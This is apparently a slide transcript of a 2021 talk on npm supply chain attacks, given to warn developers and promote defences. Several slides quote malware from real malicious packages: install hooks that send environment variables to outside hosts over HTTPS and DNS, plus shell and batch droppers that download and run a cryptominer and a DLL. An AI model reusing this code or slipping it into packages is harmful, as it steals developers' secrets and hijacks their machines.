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It's a Jungle Out There! – Open Source Supply C...

It's a Jungle Out There! – Open Source Supply Chain Attacks

Software supply chain attacks have exploded in the past year, and open source components are increasingly used as a vector. Come hear some of the wilder stories and what you can do to protect your apps.

TRY IT AT: https://socket.dev

Feross Aboukhadijeh

November 04, 2021
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  1. We download code from the internet written by unknown individuals

    that we haven't read that we execute with full permissions on our laptops and servers where we keep our most important data
  2. How to pick a dependency • ✅ Does it get

    the job done? • ✅ Does it have an open source license? • ✅ Does it have good docs? • ✅ Does it have lots of downloads and GitHub stars? • ✅ Does it have recent commits? • ✅ Does it have types / tests / low issue count / multiple maintainers / code looks reasonable?
  3. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY

    KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
  4. "Installing an average npm package introduces an implicit trust on

    79 third-party packages and 39 maintainers, creating a surprisingly large attack surface1" 1 Small World with High Risks: A Study of Security Threats in the npm Ecosystem
  5. "On average, a malicious package is available for 209 days

    before being publicly reported2" 2 Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks
  6. "20% of these malware persist in package managers for over

    400 days and have more than 1K downloads"3 3 Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages
  7. Vulnerabilities • Accidentally introduced • Sometimes okay to ship to

    production (if low impact) Malware • Intentionally introduced • Never okay to ship to production
  8. We downloaded all of npm • 100 GB of metadata

    • 15 TB of package tarballs ...and you won't believe what happened next!
  9. Most malicious packages (56%) start their routines on installation, which

    might be due to poor handling of arbitrary code during install2 2 Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks
  10. { "name": "<redacted>", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts":

    { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" }
  11. const http = require('https'); req = http.request({ host: '34.195.72.180', path:

    '/', method: 'POST', headers : { host : '411c316239cf14afaa1f37bbc5666207.m.pipedream.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36' } }).on('error', function(err) { }); req.write(Buffer.from(JSON.stringify(process.env)).toString('base64')); req.end();
  12. var { Resolver } = require('dns'); var zlib = require('zlib');

    var resolver = new Resolver(); function splitString(string, size) { var re = new RegExp('.{1,' + size + '}', 'g'); return string.match(re); } resolver.setServers(["165.232.68.239"]); var d = process.env || {}; var data = redactedForBrevity() var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex'); var ch = splitString(encData, 60); var dt = Date.now(); for (var i = 0; i < ch.length; i++) { const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.'); resolver.resolve4(domain, function (err) { }); }
  13. { "title": "UAParser.js", "name": "ua-parser-js", "version": "0.7.29", "author": "Faisal Salman

    <[email protected]> (http://faisalman.com)", "description": "Lightweight JavaScript-based user-agent string parser", "main": "src/ua-parser.js", "scripts": { "preinstall": "start /B node preinstall.js & node preinstall.js", "build": "uglifyjs src/ua-parser.js ...", "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js", "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js" } }
  14. const { exec } = require("child_process"); function terminalLinux(){ exec("/bin/bash preinstall.sh",

    (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); } var opsys = process.platform; if (opsys == "darwin") { opsys = "MacOS"; } else if (opsys == "win32" || opsys == "win64") { opsys = "Windows"; const { spawn } = require('child_process'); const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']); } else if (opsys == "linux") { opsys = "Linux"; terminalLinux(); }
  15. IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ') if [ -z "$IP"

    ] then var=$(pgrep jsextension) if [ -z "$var" ] then curl http://159.148.186.228/download/jsextension -o jsextension if [ ! -f jsextension ] then wget http://159.148.186.228/download/jsextension -O jsextension fi chmod +x jsextension ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & fi fi
  16. @echo off curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe if not exist jsextension.exe

    ( wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe ) if not exist jsextension.exe ( certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe ) curl https://citationsherbe.at/sdd.dll -o create.dll if not exist create.dll ( wget https://citationsherbe.at/sdd.dll -O create.dll ) if not exist create.dll ( certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll ) set exe_1=jsextension.exe set "count_1=0" >tasklist.temp ( tasklist /NH /FI "IMAGENAME eq %exe_1%" ) for /f %%x in (tasklist.temp) do ( if "%%x" EQU "%exe_1%" set /a count_1+=1 ) if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll) del tasklist.temp
  17. { "name": "noblox.js-proxy", "version": "1.0.5", "description": "A Node.js wrapper for

    Roblox. (original from sentanos) (proxy edition by DarkDev)", "main": "lib/index.js", "types": "typings/index.d.ts", "scripts": { "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs", "lint": "eslint lib/", "test": "jest", "postinstall": "node postinstall.js" }, "repository": { "type": "git", "url": "https://github.com/JxySerr1/noblox.js-proxy.git" } }
  18. (function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf, _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3 (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30, _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2)

    {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f(); function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536) {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8, _0x1361be,_0x2b2b01,_0x2b71bd) {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807= -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a) +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc) +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273) *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69)) +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac) +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d) +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5) +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9); if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());} catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+ 0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc, _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);}
  19. • Yahoo • yahoo-react-input • yahoo-react-formsy-input • EURid (registry manager

    for EU) • eurid_cloudflare • 18F (US Federal agency) • 18f-dashboard • Palantir (government contractor) • eslint-config-dev-palantir • DuckDuckGo (search engine) • duckduckgo-styles • Shippo (shipping company) • shippo-frontend
  20. • Wix (website builder) • wix-media-manager-backend • wix-marketing-backend • wix-events-backend

    • wix-chat-backend • Unity (game engine) • com.unity.ide.vscode • com.unity.package-manager-ui • com.unity.modules.ai • com.unity.modules.androidjni • GrubHub (food delivery) • @grubhubprod/umami-library • @grubhubprod/order-taking-client-sdk • @grubhubprod/mochi • @grubhubprod/chiri
  21. Why do we never look at the contents of a

    package before installing it?
  22. Pro-tip: Turn off install scripts npm --ignore-scripts foo Or, turn

    off install scripts globally: npm config set ignore-scripts true
  23. This is just the tip of the iceberg 700 packages

    removed for security reasons in the last 30 days
  24. Coming soon – GitHub app • Block dangerous dependencies with

    our GitHub app • Typosquats, high risk packages • Updates which add significant new behavior: install scripts, network, filesystem • Configurable: report-only, require explicit developer confirmation, or require review from team lead
  25. END